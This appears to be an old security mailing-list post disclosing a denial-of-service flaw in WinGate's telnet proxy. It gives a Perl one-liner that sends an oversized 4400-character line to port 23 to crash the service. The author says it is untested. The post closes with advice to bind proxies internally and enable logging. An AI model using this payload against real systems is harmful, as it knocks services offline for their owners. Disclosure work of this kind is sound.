Hello, The following one-liner will crash an open Wingate. perl -MIO::Socket -e \ 'IO::Socket::INET->new(PeerAddr=>"wingate.to.hoze:23")\ ->send("X" x 4400 . "\n",0)' Unfortunately I don't have access to one that I can test, so I am unable to verify what versions are vulnerable. The above is my rendition of a 44 line sh script written by "rEWTED" (kefka () infected org). Anyone configuring a proxy for LAN use should only bind to an internal interface anyway. (IE, kidz shouldn't even see your proxy) http://wingate.net/helppages/wingate2Securing_your_network.html If you do provide telnet proxy for the world, then at least log. http://wingate.net/helppages/wingate2Auditing_and_Logging.html ghost23 ____________________________________________________________________ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
